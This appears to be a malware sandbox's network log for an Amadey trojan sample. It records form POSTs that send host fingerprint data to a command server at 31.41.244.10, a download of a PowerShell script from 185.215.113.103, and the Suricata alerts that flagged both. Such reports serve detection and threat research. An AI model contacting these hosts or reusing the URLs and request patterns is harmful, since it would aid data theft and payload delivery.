Network Analysis
| Name | Response | Post-Analysis Lookup |
|---|---|---|
| No hosts contacted. | ||
POST
200
http://31.41.244.10/Dem7kTu/index.php
REQUEST
RESPONSE
BODY
POST /Dem7kTu/index.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: 31.41.244.10
Content-Length: 4
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 08 Oct 2024 12:52:53 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Refresh: 0; url = Login.php
POST
200
http://31.41.244.10/Dem7kTu/index.php
REQUEST
RESPONSE
BODY
POST /Dem7kTu/index.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: 31.41.244.10
Content-Length: 160
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 08 Oct 2024 12:52:53 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
GET
200
http://185.215.113.103/test/to.ps1
REQUEST
RESPONSE
BODY
GET /test/to.ps1 HTTP/1.1
Host: 185.215.113.103
HTTP/1.1 200 OK
Date: Tue, 08 Oct 2024 12:52:53 GMT
Server: Apache/2.4.52 (Ubuntu)
Last-Modified: Fri, 04 Oct 2024 14:41:51 GMT
ETag: "13bb-623a7abe9c9c0"
Accept-Ranges: bytes
Content-Length: 5051
POST
200
http://31.41.244.10/Dem7kTu/index.php
REQUEST
RESPONSE
BODY
POST /Dem7kTu/index.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: 31.41.244.10
Content-Length: 31
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 08 Oct 2024 12:52:54 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
ICMP traffic
No ICMP traffic performed.
IRC traffic
No IRC requests performed.
Suricata Alerts
| Flow | SID | Signature | Category |
|---|---|---|---|
| TCP 185.215.113.103:80 -> 192.168.56.103:49166 | 2400031 | ET DROP Spamhaus DROP Listed Traffic Inbound group 32 | Misc Attack |
| TCP 192.168.56.103:49166 -> 185.215.113.103:80 | 2032162 | ET INFO PS1 Powershell File Request | Potentially Bad Traffic |
| TCP 31.41.244.10:80 -> 192.168.56.103:49165 | 2400001 | ET DROP Spamhaus DROP Listed Traffic Inbound group 2 | Misc Attack |
| TCP 192.168.56.103:49165 -> 31.41.244.10:80 | 2044696 | ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 | A Network Trojan was detected |
Suricata TLS
No Suricata TLS
Snort Alerts
No Snort Alerts